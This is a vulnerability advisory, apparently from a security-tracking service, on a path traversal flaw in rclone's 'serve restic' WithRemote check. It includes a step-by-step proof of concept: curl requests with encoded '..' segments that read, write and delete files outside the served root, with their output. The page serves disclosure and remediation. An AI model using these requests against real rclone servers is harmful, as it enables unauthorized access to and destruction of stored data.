Easily map the attack path and prioritize which CVEs are a threat to your organization
Miggo AIGenerate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance
Miggo AIRoot Cause AnalysisThe security advisory clearly identifies the WithRemote function in cmd/serve/restic/restic.go as the primary source of the vulnerability. The provided commit patch confirms this by showing the change in the path validation logic within this specific function. The vulnerable code used path.Clean, which was insufficient to prevent path traversal attacks starting with ../. The fix involves replacing this logic with iofs.ValidPath, which provides a more robust validation. While the advisory mentions that other backend functions are affected, the root cause of the vulnerability is the improper input validation in WithRemote. Therefore, this is the key function that would appear in a runtime profile during exploitation, as it's the entry point for processing the malicious path.
WithRemotecmd/serve/restic/restic.go
| Package Name | Ecosystem | Vulnerable Versions | First Patched Version |
|---|---|---|---|
| github.com/rclone/rclone | go | >= 1.40.0, < 1.75.0 | 1.75.0 |
backend/ftp/ftp.go(*Fs).NewObject(*Object).OpenUpdateRemovepath.Joinbackend/http/http.go(*Fs).url../backend/memory/memory.go(*Fs).splitf.rootbackend/sftp/sftp.go(*Fs).remotePathf.absRootThese are backend-specific manifestations of the same WithRemote validation flaw, not separate vulnerabilities.
WithRemote obtains the decoded URL path, removes external slashes, and tries to reject traversal by comparing the path with path.Clean:
urlpath = strings.Trim(urlpath, "/")
// Reject any non-canonical path, in particular one containing ".."
// traversal elements.
if urlpath != "" && path.Clean(urlpath) != urlpath {
http.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
return
}
The comment describes the intended behavior, but the condition does not reject every parent component. path.Clean preserves leading parent components in a relative path:
path.Clean("../outside.txt") = "../outside.txt"
path.Clean("../../outside.txt") = "../../outside.txt"
Because both strings are equal, the middleware accepts the path. Internal traversal behaves differently:
path.Clean("a/../../outside.txt") = "../outside.txt"
These strings differ, so that request returns HTTP 400. This explains why the existing check appears to work while the leading variant bypasses it.
After validation, WithRemote stores the accepted value in the request context:
ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)
next.ServeHTTP(w, r.WithContext(ctx))
GET, POST, and DELETE handlers retrieve this same value. GET passes it to s.f.NewObject, POST passes it to operations.RcatSize, and DELETE resolves the object and calls Remove. There is no second containment check.
WebDAV is used below as the concrete end-to-end example because it was the backend used for the main proof of concept. WebDAV is not the source of the validation flaw. The example demonstrates one way in which an unsafe remote accepted by WithRemote is propagated by a backend.
The WebDAV backend joins its configured root with the attacker-controlled remote:
func (f *Fs) filePath(file string) string {
subPath := path.Join(f.root, file)
if f.opt.Enc != encoder.EncodeZero {
subPath = f.opt.Enc.FromStandardPath(subPath)
}
return rest.URLPathEscapeAll(subPath)
}
For the proof of concept:
f.root = "served-root"
file = "../outside-secret.txt"
path.Join("served-root", "../outside-secret.txt")
= "outside-secret.txt"
The configured root is removed before encoding. WsgiDAV receives a normal operation for /outside-secret.txt, which is outside the root published by rclone serve restic.
The same accepted leading parent path propagates through the other affected backends tested. FTP joins its root and remote with path.Join before object operations; HTTP preserves served-root/../outside-secret.txt when constructing the endpoint request; Memory joins the root and relative path before splitting the bucket and key; and SFTP joins f.absRoot and the remote in remotePath. In each case, the backend receives the leading parent component already accepted by WithRemote. The exact escape mechanism and available operations vary by backend. Conversely, S3-compatible and local backends did not escape in the tested configuration because they encoded .. as filename characters.
Expected behavior is HTTP 400 before any backend operation. Actual behavior is HTTP 200 followed by an operation outside served-root.
The operator must publish a backend subdirectory, the endpoint must be reachable, and the backend credential must have access to a parent or sibling object. Exploitability also depends on backend path semantics.
An attacker may:
--append-only reduces overwrite and delete impact but does not prevent traversal reads or creation of new objects.
The following procedure was executed on Linux Mint 22.3 with the official rclone v1.74.4 Linux AMD64 binary, WsgiDAV 4.3.5, and Cheroot 10.0.1. The rclone binary reports that it was built with Go 1.26.5.
$ mkdir -p poc/storage/served-root
$ printf '%s\n' 'INSIDE-PUBLISHED-ROOT' > poc/storage/served-root/inside.txt
$ printf '%s\n' 'SECRET-OUTSIDE-PUBLISHED-ROOT' > poc/storage/outside-secret.txt
$ find poc/storage -type f
poc/storage/served-root/inside.txt
poc/storage/outside-secret.txt
$ python3 -m venv poc/venv
$ poc/venv/bin/pip install 'WsgiDAV==4.3.5' 'cheroot==10.0.1'
$ poc/venv/bin/wsgidav --host=127.0.0.1 --port=39500 \
--root="$PWD/poc/storage" --auth=anonymous --no-config
Running without configuration file.
...
Server: WsgiDAV/4.3.5 Cheroot/10.0.1 Python/3.12.3
$ curl -fLO https://downloads.rclone.org/v1.74.4/rclone-v1.74.4-linux-amd64.zip
$ curl -fLO https://downloads.rclone.org/v1.74.4/SHA256SUMS
$ grep ' rclone-v1.74.4-linux-amd64.zip$' SHA256SUMS | sha256sum -c -
rclone-v1.74.4-linux-amd64.zip: OK
$ unzip rclone-v1.74.4-linux-amd64.zip
$ ./rclone-v1.74.4-linux-amd64/rclone version | head -n 1
rclone v1.74.4
$ ./rclone-v1.74.4-linux-amd64/rclone serve restic ':webdav:served-root' \
--webdav-url http://127.0.0.1:39500 \
--webdav-vendor other --addr 127.0.0.1:39501 -vv
NOTICE: webdav root 'served-root': Serving restic REST API on [http://127.0.0.1:39501/]
$ curl --path-as-is -i http://127.0.0.1:39501/inside.txt
HTTP/1.1 200 OK
...
INSIDE-PUBLISHED-ROOT
$ curl --path-as-is -i http://127.0.0.1:39501/%2e%2e/outside-secret.txt
HTTP/1.1 200 OK
...
SECRET-OUTSIDE-PUBLISHED-ROOT
$ curl --path-as-is -i -X POST \
http://127.0.0.1:39501/%2e%2e/outside-write.txt \
--data-binary 'ATTACKER-CONTROLLED-OUTSIDE-ROOT'
HTTP/1.1 200 OK
...
$ cat poc/storage/outside-write.txt
ATTACKER-CONTROLLED-OUTSIDE-ROOT
$ curl --path-as-is -i -X DELETE \
http://127.0.0.1:39501/%2e%2e/outside-write.txt
HTTP/1.1 200 OK
...
$ test ! -e poc/storage/outside-write.txt && echo 'physical file deleted'
physical file deleted
$ curl --path-as-is -i http://127.0.0.1:39501/a/../../outside-secret.txt
HTTP/1.1 400 Bad Request
...
Bad Request
This demonstrates why the existing check appears to work for interior traversal while the leading variant bypasses it.
| Backend | Local implementation | Result | Operations tested |
|---|---|---|---|
| WebDAV | WsgiDAV 4.3.5 | Affected | read, write, delete |
| FTP | pyftpdlib 2.2.0 | Affected | read, write, delete |
| HTTP | Python http.server 3.12.3 | Affected | read |
| Memory | rclone memory backend | Affected | read, write, delete |
| SFTP | atmoz/sftp OpenSSH server | Affected | read, write, delete |
| S3 compatible | MinIO | No root escape observed | read, write, delete |
| Local filesystem | default local encoding | No root escape observed | read, write, delete |
Only the backends listed in this table were tested or classified. Every row was dynamically repeated with the same official v1.74.4 Linux AMD64 binary identified in the proof of concept.
Reject . and .. components in WithRemote before storing the remote in the context. Validating the decoded relative path with io/fs.ValidPath, with explicit handling for the empty API root, is one possible approach. Authorization and backend lookup should use the same validated representation.
Regression tests should cover GET, HEAD, POST, and DELETE with .., ../x, ../../x, %2e%2e/x, a/../x, and a/../../x, both with and without --private-repos.
GET /../ could reach the list handler and enumerate the parent directory, allowing an attacker to discover object names before accessing them.--append-only, a request such as DELETE /../locks/<name> could satisfy the existing delete guard and delete an object outside the served root.. path was also accepted. On bucket-based backends, POST /. could write an object outside the intended served path.Credit: Caubi Loureiro of Vorpcel Research